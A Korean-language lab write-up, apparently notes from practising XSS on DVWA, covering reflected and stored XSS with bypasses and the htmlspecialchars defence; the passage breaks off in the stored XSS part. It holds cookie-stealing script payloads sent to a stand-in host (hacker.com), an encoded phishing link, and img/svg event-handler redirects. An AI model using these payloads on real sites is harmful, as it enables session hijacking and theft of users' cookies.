자바스크립트 공격시 사용될 수 있는 예시
1)원격지에서 쿠키 빼낼때 사용
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
2) 외부의 해커사이트에 올려둔 악성 스크립트를 실행 할 수 있다.
<script src=http://hacker.com/bad.js></script>
1. Reflected XSS 공격 시나리오
(1) 사용자 쿠키를 빼내는 스크립트주소가 삽입된 피싱 메일을 피해자에게 전송함
(2) 사용자는 스크립트 코드가 삽입된 요청을 서버에 전송
(3) 이때 웹 어플리케이션은 스크립트 코드를 반사시켜 사용자에게 되돌려준다.
(4) 웹 브라우저는 자동으로 스크립트 코드를 실행하게 되고 쿠키를 해커에게 전송한다.
(5) 해커는 사용자의 쿠키를 사용하여 해당 사이트에 접속한다.
[실습]
1) low
입력란에 다음과 같이 입력한다.
- <script>alert(document.cookie)</script>
해커의 웹서버의 접근 로그를 확인한다.
- tail -f /opt/lampp/logs/access_log
<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
위 스크립트 문을 사용하게 되면 document.location 을 통해 뒤에 명시된 http://127.0.0.1 (해커 사이트)로 리다이렉트 시키고 그리고 document.cookie 를 이용해서 쿠키 값을 찍어준다.
서버의 접근 로그를 확인하면 아래와 같이 접근 로그에서 쿠키 값을 확인 할 수 있다.
그리고 쿠키를 이용해서 해당 사용자의 권한으로 웹 사이트를 이용할 수 있다. 여기에서는 리다이렉트가 되어 사용자가 눈치를 챌 수 있게 되어 있지만 실제 해킹에서는 자바스크립트를 이용하여 아무일도 없는것처럼 만들수도 있다.
이를 응용하여 메일에서 링크삽입하여 해당 내용으로 연결되게 할 수 있다.
유의 할 것은 gmail의 경우 아래와 같이 특수문자를 인코딩 하여 처리해야한다. 인코딩하지 않으면 원하는 결과를 얻을 수 없다.
- http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http://127.0.0.1/cookie?%27+document.cookie%3C/script%3E
3) high
대문자로해도 XSS 공격이 실행되지 않는다. 이 경우 정규식을 이용해서 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격도 모두 방어하고 있다.
정규식을 이용하여 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격을 방어하고 있다.
이 경우는 스크립트를 막고 있기때문에 스크립트 공격은 적용되지 않는다. 다만 HTML 태그를 이용한 공격이 수행 가능하다. 예를 들어 IMG 태그가 가능하다.
<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>
//소스에 아무런 값(x)을 입력해서 에러가 발생하면 뒤에 정의된 함수가 실행되게 된다.
window.location.assign 구문을 이용하면 리다이렉트를 실행되게 되는데 hacked.php 라는 악성코드가 있는 페이지로 리다이렉트 되게 된다. 실제 해킹 상황에서는 이 소스에 각종 악성 코드를 심어놓을 것이다.
<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>
// onload 에 이 함수를 정의 했기 때문에 페이지가 요청 될때 다음 함수를 실행시키게 된다.
** XSS cheat sheet
4) impossible
htmlspecialchars 함수는 몇몇 특수문자를 html entity 라고 하는 것으로 변경하는 함수이다. html 에서 사용되면 태그나 구분자로의 중요한 의미를 가지는데 바꾸게 되면 웹 페이지서는 특수문자로 표시되지만 기존의 특별한 기능은 수행하지 않게 된다. &, ',",<,> 특수문자가 치환 된다.
소스 보기로 확인 한 결과 특수문자가 치환된 것을 알 수 있다. 페이지상에서는 특수문자로 표시되지만 실제로 스크립트가 실행되지 않게 된다.
대부분의 언어에서 같이 빌트인 라이브러리나 함수를 제공하기 때문에 개발시에 활용해야 한다. 또한 인젝션과 같이 폼에 입력되어야 하는 값을 철저하게 검사하는것도 대응방법이다.
2. Stored XSS 공격
(1) 해커가 방명록에 스크립트 삽입
(2) 사용자는 방명록에 접속하게되고 웹 브라우저는 스크립트를 실행하게 된다.
1) low
다음과 같이 스크립트문을 삽입한다.
(dvwa 에서는 글자수 제한이 걸려 있는데 우클릭 후 inspect element 를 실행하여 maxlength를 수정하면 된다)
그렇게 되면 방명록에 접근하자마자 다음과 같이 쿠키가 서버에 전송이 된다.